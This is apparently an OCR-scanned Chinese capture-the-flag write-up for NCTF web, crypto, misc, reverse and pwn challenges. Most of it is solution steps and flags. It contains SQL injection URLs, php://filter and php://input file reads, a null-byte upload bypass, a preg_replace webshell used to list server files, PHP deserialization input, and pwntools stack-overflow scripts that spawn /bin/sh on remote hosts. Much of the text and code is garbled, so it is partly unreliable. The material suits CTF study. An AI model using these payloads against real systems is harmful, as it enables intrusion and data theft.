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md5 collision
phpi53E ity
http://chinalover.sinaapp.com/web19/?a=aabg7XSs

nctf{md5_collision_is_easy}

32
AL R BN

nctf{follow_me_to_exploit}
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AAencode
FH Y 28 58 tunicodedm il & F, AT H &

nctf{javascript_aaencode}

L NS Gy o
A VAR T T A
a href="./search_key.php"

nctf{yougotit_script_now}

php decode

A S eval i Ayprintf B H2T B4,
B¢ # python 5 A ;

import base64

import zlib

a = "+7DnQGFmYVZ+eoGmig0fd3puUoZ 1tkppek1GdVZhQnJSSZg5aUIMGNQBAA=="
def gzinflate(self):
compressed_data = base64.b64decode(self)
return zlib.decompress(compressed_data, -15)
a = gzinflate(a)
print a
b=
for i in range(len(a)):
b += chr(ord(a[i:i+1])-1)

print b

nctf{gzip_base64_hhhhhh}

AL
Hphpfl 1}l 3zindex.php



http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-
encode/resource=index.php

Tibase64f#ig 15 3

flag:nctf{edulcni_elif lacol_si_siht}

B —HEHRKH
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nctf{this_is 302_redirect}

Download~!
17 I http://way.nuptz.cn/web6/download.php?url=ZG93bmxvYWQucGhw | #Z;download.php
FT 791 & Bihereiskey.php[F] 2 T %k hereiskey.php

nctf{download_any file_ 666}

COOKIE
bslfl.cookierdt 1

flag:nctf{cookie_is_different_from_session}

MYSQL

RESRBR ] T B 1024, Ui B 2275 (1id 1R A 1T BE A& 1024 intval ()1 22 & 7% B H S 1Y BRIA 72 % 9 10 il IR 4
AT AN024. 1547 T .intval()2>151024.1742 41024, X A A I fikid=1024, Tif ($_GET [id]==1024)] i} fiz
1024.11=1024

http://chinalover.sinaapp.com/web11/sqgl.php?id=1024.1

nctf{query_in_mysql}

GBK Injection
W EAN
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df order by 2--+

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=0%df union select 1,
(SELECT+GROUP_CONCAT (flag+SEPARAT OR+0x3c62723e)+FROM+gbksqli)--+

nctf{gbk_3sqli}

ctf43k 5 & flag{this_is_sqli_flag}


http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
http://chinalover.sinaapp.com/web11/sql.php?id=1024.1
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%25DF'%20rel=
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=0%25DF'%20rel=
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(MELiR7y
http://teamxic.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf=1%00%23biubiubiu3
%)

http://teamxic.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf[]=

Flag: flag:nctf{use_00 to jieduan}

bypass again
phpi53E i
http://chinalover.sinaapp.com/web17/index.php?a[]=1&b[]=2

Flag: nctf{php_is_so_cool}

http://chinalover.sinaapp.com/web18/
POST#i#fi: pass=1&thepassword 123=1

nctf{bian_liang_fu_gai'}

PHPE ittt A F R IFHIIES
url = kg
1d=%25%36%38%25%36%31%25%36%33%25%36%62%25%34%34%25%34%61

nctf{php_is_best_language}

EED
bsH#la 3k 4k i X-Forwarded-For:127.0.0. 1{H A 47
FE nclient-ip:127.0.0.1

nctf{happy_http_headers}

Header
bsHMELE I [7] Sk

nctf{tips_often_hide_here}


http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf=1%2500%2523biubiubiu3
http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf%255B%255D=
http://chinalover.sinaapp.com/web17/index.php?a%255B%255D=1&b%255B%255D=2
http://chinalover.sinaapp.com/web18/

i3 3u
bsHl 2k
/uploads/a.php%00 (%00urlf#HS)

flag:nctf{welcome_to_hacks_world}

SQLA A1
RIDeET, #h4ax
admin')#

flag:nctf{ni_ye hui_sql?}

pass check
http://chinalover.sinaapp.com/web21/
POSTH %: pass[]=

flag:nctf{strcmp_is_nOt_3afe}

4 A
7N ) A0 A e A L
http://chinalover.sinaapp.com/web12/index.php?key=0xCCCCCCCCC

The flag is:nctf{follow_your_dream}

HHEE

bsl Lk #user1Z ik Aadminfi 4 5 YWRtaW4=
POST /web13/index.php?user1=YWRtaW4= HTTP/1.1
POST N % :
user=admin&newpass=123456&vcode=1234

flag is:nctf{reset_password_often_have_vuin}

php % 7 514k (8 i T 450
http://4.chinalover.sinaapp.com/web25/index.php?pass=0:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}

Congratulation! Here is my secret: thisisnctfsecret


http://chinalover.sinaapp.com/web21/
http://chinalover.sinaapp.com/web12/index.php?key=0xCCCCCCCCC
http://4.chinalover.sinaapp.com/web25/index.php?pass=O:8:%2522just4fun%2522:2:%257Bs:5:%2522enter%2522;N;s:6:%2522secret%2522;R:2;%257D

SQL Injection
http://chinalover.sinaapp.com/web15/index.php?username=admin\&password=or 1 %23

flag:nctf{sql_injection_is_interesting}

ZiE
814 % bash_historyF] & ~zp -r flagbak.zip ./*
T #flagbak.zip$T JF

flag is:nctf{bash_history _means_what}

system CE B L0

SQLHEA2
bs#l i user=" union select md5(1)#&pass=1

Logged in! Key: ntcf{union_select_is_witf}

MACMS T ] & I bk B A S A5
http://cms.nuptzj.cn/about.php?file=index.php 544 i 7~ 5 i

KV Krabout.php, config.php,index.php,passencode.php,say.php,so.php £~ %~ >k
7 Fabout.php H IS RT LIS 2 f5 & A A /loginXicteam,  {H 3% A % h4

A so.phpllihd, IXANEZ i 2 [ php

A IR I B L7 T antiinject.phpiX AN B iZ st 2 B IESQLIE ARSI T, FHET R
SCPFREE T AU ], ERE S A 1, o T, ARV RS

S — TR

$result=mysql_query("SELECT * FROM “message’ WHERE display=1 AND id=$id");
X B ESidicE H e, B AR R N

bs#lify, HR#Eso.phpiskifUser-Agent: Xicteam Browser, & i%postiidiseE — T nl &
soid=0/**/UNunionlON/**/SELselectECT/**/1,2,3,4

RN ZH, BoRp22, 3

RN 4 T RS 7RIS, PrULERTEA


http://chinalover.sinaapp.com/web15/index.php?username=admin%255C&password=or
http://cms.nuptzj.cn/about.php?file=index.php%25E6%259E%259C%25E7%2584%25B6%25E6%2598%25BE%25E7%25A4%25BA%25E6%25BA%2590%25E7%25A0%2581

soid=0/**/UNunionlON/**/SELselectECT/**/1,usernam=e,userpas=s,4/**/fro=m/**/admi=n

53 #adminffpassword

102 117 99 107 114 117 110 116 117

ZIE % ik S passencode.php, A LLEJE %65, passwordZASCIFSAEME K], T ARG 15 Bladmin ) 2 1Y
fuckruntu

% x/loginxicteam)ii & $2 7~ Xicteam.phpf —AJiEAR D, FATCAEIHL FE ok

<?php $e = $§ REQUEST['www1; $arr = array($_POST['wtf] =>'|.*|e",); array_walk($arr, $e, "); ?>
=AZEHEA RS

Je T THIAE

http://cms.nuptzj.cn/xicteam.php?www=preg_replace

POST%#fz: wtf=print_r(scandir("."));

TN

Array ([0] => . [1] => .. [2] => about.php [3] => antiinject.php [4] => antixss.php [5] => config.php [6] =>
index.php [7] => list.php [8] => loginxicteam [9] => passencode.php [10] => preview.php [11] => say.php [12]
=> sm.txt [13] => so.php [14] => xlcteam.php [15] => $E AR HIF Zilag2.txt )

Ba—NELAY, B 2R T 4 Y yunicode, R o 38 E ARk 15 flag2.txt
F4yit http://cms.nuptzj.cn/about.php?file=4% & R 3k 5 flag2.txt

flag:nctf{you_are_s0_g00d_hacker}

HHEE2

SN vig R AR S R B A S0

http://nctf.nuptz.cn/web14/.submit.php.swp

A0 5 1+ 4 token>y00000000005 17 1

bsiM L4 GET /web14/submit.php?emailAddress=admin%40nuptz.cn&token=0000000000 HTTP/1.1

flag:nctf{thanks_to_cumt_bxs}

file_get_contents

EAEJRSA IS 1Hile_get contents ik Uk 3 U2 N — AN 745 £
HiEHphpth il EA&filestiT 1
http://chinalover.sinaapp.com/web23/?file=php://input

POST##fz: meizijiu


http://cms.nuptzj.cn/xlcteam.php?www=preg_replace
http://nctf.nuptzj.cn/web14/.submit.php.swp
http://chinalover.sinaapp.com/web23/?file=php://input

o5 i

KR | $SRE . SO TN LR N AT, — AN AR IR — ANl A B E, (X AR AR
AR . FA1E N & 2name=meizijiu233,if id foreach() sk %, #1748 IR
$key=name,$value=meizijiu233,%4 5 i f1) $Skey=$value, Hl $$key=$name=meizijiu233
http://chinalover.sinaapp.com/web24/?name=meizijiu233

nctf{AD3FBD8D5928693CA499347C91570AEG}

e

flag{zhaowomen}

HatelT

Anonymous

Crypto

easy!
base64f#hY

nctf{this_is_base64_encode}

Keyboard
BRMIETRE 7R
nctf{areuhack}

S PEAR R

python2fifi 4

#coding=utf-8
encrypted=[]

with open("./# 3L .txt".decode('utf-8")) as f:


http://chinalover.sinaapp.com/web24/?name=meizijiu233

while True:
c =f.read(1)
if not c:
break

encrypted.append(c)

plain=[]
with open("./BH 3 .txt".decode('utf-8')) as f:
while True:
c =f.read(1)
if not c:
break
plain.append(c)
flag=""
for i in range(len(encrypted)):
flag+=chr(ord(encrypted][i])*ord(plain[i]))

print(flag)

nctf{xor_xor_xor_biubiubiu}

Wiener Wiener Chicken Dinner

RSA wiener attack

FH A _E [ python il A fig 2%

import math

def continued_fractions_expansion(numerator,denominator):#(e,N)

result=[]

divident=numerator%denominator
quotient=numerator/denominator

result.append(quotient)



while divident!=0:

numerator=numerator-quotient*denominator

tmp=denominator
denominator=numerator

numerator=tmp

divident=numerator%denominator
quotient=numerator/denominator

result.append(quotient)

return result

def convergents(expansion):
convergents=[(expansion[0],1)]

for i in range(1,len(expansion)):
numerator=1
denominator=expansion(i]

for j in range(i-1,-1,-1):
numerator+=expansion(j]*denominator
if j==0:

break

tmp=denominator
denominator=numerator
numerator=tmp
convergents.append((numerator,denominator))#(k,d)

return convergents

def newtonSqrt(n):

approx = n/2



better = (approx + n/approx)/2
while better != approx:

approx = better

better = (approx + n/approx)/2

return approx

def wiener_attack(cons,e,N):
for cs in cons:

k,d=cs

if k==0:

continue

phi_N=(e*d-1)/k
#x**2-((N-phi_N)+1)*x+N=0
a=1

b=-((N-phi_N)+1)

c=N

delta = b*b - 4*a*c

if delta<=0:

continue

x1= (newtonSqrt(delta)-b)/(2*a)
x2=-(newtonSqrt(delta)+b)/(2*a)
if x1*x2==N:

return [x1,x2,k,d]

N=1063045321283844468344531168992778520651192162100948533991539097447031440090068191835¢

4 | T | 3

e=83716502291837631897269158916049137522937219562594013712174068543253013286054101017472

< | T | 3

expansion=continued_fractions_expansion(e,N)



cons=convergents(expansion)

p,q.k,d=wiener_attack(cons,e,N)
print p
print q
print k

printd

i tid:
57899763801722261062891290503559835904571946557258761154422546104824094670843

i N SR A

#coding:utf-8

from Crypto.PublicKey import RSA

from Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5
import base64

from Crypto import Random

random_generator=Random.new().read

# flag=raw_input(‘flag:")

key=RSA.construct((10630453212838444683445311689927785206511921621009485339915390974470314+
8371650229183763189726915891604913752293721956259401371217406854325301328605410101747276

< | T | 3

cipher = Cipher_pkcs1_v1_5.new(key)

# cipher_text = base64.b64encode(cipher.encrypt(flag))

# print cipher_text

# cipher_text =
'AGgt1h6dudnkeoCr7SFclkYYsYa65KZ8V29bbgbf+BDyjnyx5stCYjcyktat73aHs2EOaMgwGUwj3HWPTVT+T5L

< | i | 3

cipher_text =
'‘AGgt1h6dudnkeoCr7SFclkYYsYa65KZ8V29bbgbf+BDyjnyx5stCYjcyktat73aHs2EOaMgwGUwj3HWPTVT+T5L

4 | T | 3

text = cipher.decrypt(base64.b64decode(cipher_text), random_generator)

print text



21713 2flag:

flag{nell_anima_ritrovo_la_speranza_che nel_corpo_stanco_ormai}

Baby RSA

msieve /) fi#:

msieve153.exe 0x291733BAB061EF9C599139CB3E40A5C762B6F448FFFFFFFFFFFFFF -v
H1G

p1=1578173871764844869716052171

p2=10710927547195113973175047066215146269

Cip1,p2,n.e,5kd, I H a3k flag:

python A .

import gmpy2

p1=1578173871764844869716052171
p2=10710927547195113973175047066215146269
n=0x291733BAB061EF9C599139CB3E40A5C762B6F448FFFFFFFFFFFFFF
e=0x10001

phi_n=(p1-1)*(p2-1)

d=gmpy2.invert(e,phi_n)

print hex(d)

c=0x237200C0F72B97DB55BA37C7AACBB61A26A0CB47D294726259C4DF

m=pow(c,d,n)

m_hex=hex(m)[2:]

m_str = str(bytearray.fromhex(m_hex))

print m_str

15 B FR) 5 25 2



rsa-tool 2 by te! 5 N ¥l HHR1GE X

5 tiflag{Acdxvf5vD_15 W71}

Classical
X

nk ggsanez h yhxe ulj dklapdn e xhoaeu loylpneawyiyw

A R T U R

#!/usr/bin/python
-*- coding: UTF-8 -*-

a='nk ggsanez h yhxe ulj dklapdn e xhoaeu loylpneawyiyw

import string

lowercase = string.ascii_lowercase

def substitution(text, key_table):
text = text.lower()
result ="
for | in text:
i = lowercase.find(l)
ifi<O:
result += |
else:
result += key_table[i]

return result

def caesar_cypher_encrypt(text, shift):
key_table = lowercase[shift:] + lowercase[:shift]

return substitution(text, key_table)



def caesar_cypher_decrypt(text, shift):

return caesar_cypher_encrypt(text, -shift)

for i in range(0,25):

print caesar_cypher_decrypt(a,i)

RSA EASY

Misc

T o De 2

¥ e B zip, Tk IT

SR L) binwalk, A MAEHEKzZip, #Ei#£010editor?s A, #kFnvshen .jpg, LI Move, X4
7, #HEE, KloveUNPK, HI504B0304, NzipHiCfFk, 504B0506 ~zZipHISCFE, HMITZiplRfE, 153
E46iEL, love N,

zip3CF3k504B0304, {4 EE504B0506.

md5#% 55 3415 2l flag

flag{a6caad3aaafa11b6d5ed583bef4d8a54}

Reverse

Hello,RE!

idaf] JHZak it

SR A B A R 4 3 B SR il 2 galfleW{emoc_oT_W_ERdIro}!
HAVHEAE A A4

A SR IRA A

HiA3E 1 flag

pythonfiii A :



v5 = 'galf’;

v6 = 'leW{;
v7 ='emoc’;
v8="oT_}
v9 ='W_ER;
v10 = 'dIro’,
vi1=""%

print vo[::-1]+v6[::-11+Vv7[::-1]+v8[::-1]+VvI[::-1]+v10[::-1]+v11[::-1]

flag{Welcome_To RE_World!}

ReadAsm2

NI IR

00000000004004€e6<func>:;4004€6— 51| &7~ 1245 X L [ K UL N A7 Lk 55— B9 i%48 X B (I THRALTE 2

4004e6:55push rbp ; A bk, K arfras E A ] bptk

4004€7:4889 €5 mov rbp,rsp; dSLHHIN, 45 bR HOH TR JEE Hb b RN 25 1745

4004ea:48897d e8 movQWORDPT R[rbp-0x18],rdi; X} Smain = input[]iX i i=0 //[rbp-0x18] = input[0]

4004ee:8975 e4 movDWORDPTR[rbp-0x1c],esi;it A28 //[rbp-0x1c] = 28

4004f1: c745 fc 01000000movDWORDPTR[rbp-0x41,0x1; & 5K Ox 1 {E 25 [rbp-0x4] //i = 1

4004f8: eb28jmp400522<func+0x3c>; 44 Bk % £|400522(1) 7 & /ffor(i=1;i<=28;i++) T [ LA — ik # A 1

4004fa:8b45 fc moveax, DWORDPT R[rbp-0x4]; % [rbp-0Ox4] 1 I{E K 45 eaxzy 47 4% //E14-eax=i =1

4004fd:4863 d0 movsxd rdx,eax; KreaxfEH 7 59 &, JifLik ZErdxd /IRl 4 rdx=eax =i =1



400500:488b45 e8 mov rax, QWORDPT R[rbp-0x18];# raxf{i 25 input[0] /&1 4 rax = input[0] =[rbp-0x18]

400504:4801 dO add rax,rdx; 4 rdx i {E i - raxF I {E 25 rax //E) rax=input[1] =i+input[0] =rdx+rax

400507:8b55 fc movedx, DWORDPT R[rbp-0x4]: [rbp-0x4] (1) {4 edx //E) 4-edx=i =1

40050a:4863 ca movsxd rex,edx; #edxE M A5 9 ke, FEfEE R rexd /B4 rex=i =1

40050d:488b55 €8 mov rdx, QWORDPT R[rbp-0x18];[rbp-0x18] I 1E 25 rdx /Rl & rdx=[rbp-0x18] =input[0]

400511:4801 ca add rdx,rex; # rexiE N _FrdxFF e 25 rdx //Rli++ rdx=input[1]

400514:0f b6 0amovzxecx,BYTEPTR[rdxX]; ¥ rdx 7 54 J&, FH:A% ik 2 ecx //Elecx=chr(rdx) =chr(input[0])

400517:8b55 fc movedx, DWORDPTR[rbp-0x4];edx = [rbp-0x4] //EJedx=i =1

40051a:31 ca xoredx,ecx; #edx 5 ecxit 2L //ifinput[0]

40051c:8810movBYTEPTR][rax],dl;rax = dl

40051e:8345 fc 01addDWORDPT R[rbp-0x4],0x1;[rbp-0xd]++ //i++

400522:8b45 fc moveax, DWORDPT R[rbp-0x4];:#; [rbp-0x4] (i (E It 45 eax?i 1725 /leax = i

400525:3b45 e4 cmpeax, DWORDPT R[rbp-0x1c]; ¥ [rbp-0x1c] [ 18 5 eaxft Lb 45 55 — Vi /& 28

400528:7e dO jle4004fa<func+0x14>;4n 5 <=7} 4 5t ¥k £4004fa //if eaxtlli <=28k £14004fadk ZL1i 3

40052a:90nop; & 15 4

40052b:5dpop rbp ;Hi



40052c: c3ret;rettd 24 Treturn

5 python il A< i -

input = [0x67,0x6e,0x62,0x63,0x7e,0x74, 0x62, 0x69, 0x6d, 0x55, 0x6a, 0x7f, 0x60, 0x51, 0x66, 0x63, Oxde,
0x66, 0X7b,0x71, Ox4a, 0x74, 0x76, 0x6b, 0x70, 0x79, 0x66 , Ox1c]

flag=""
for i in range(1,28):
flag = flag + chr(input[i-1]*i)
print flag
73 %flag

flag{read_asm_is_the_basic}

Pwn
When did you born?
# -*- coding:utf-8 -*-

from pwn import *

p = remote("ctf.acdxvfsvd.net",1926)

payload = "a"*8+p64(1926)
p.recvuntil("What's Your Birth?")
p.sendline("1927")
p.recvuntil("What's Your Name?")
p.sendline(payload)

p.interactive()

flag{gets_is_dangerous_+1s}



Stack Overflow
-*- coding:utf-8 -*-

from pwn import *

p=remote('182.254.217.142',10001)
#create '/bin/sh' in bss
p.recvuntil('your choice:\n')

p.sendline('1")

payload1="A*40+p32(0x80)+'/bin/sh’  #exploit the bss
p.recvuntil('you can leave some message here:\n')

p.sendline(payload1)

elf=ELF('./cgpwna’)

sysadr=elf.symbols['system] #find the adr of system

payload2="A"*(0x30+0x4)+p32(sysadr)+p32(0xDEADBEEF)+p32(0x0804A0AD)

#use system('/bin/sh') and rand return address

p.recvuntil('your name please:\n')

p.sendline(payload?2)

p.interactive()

flag{Naya_chyo_ma_thur_meh_lava_ma_puoru}
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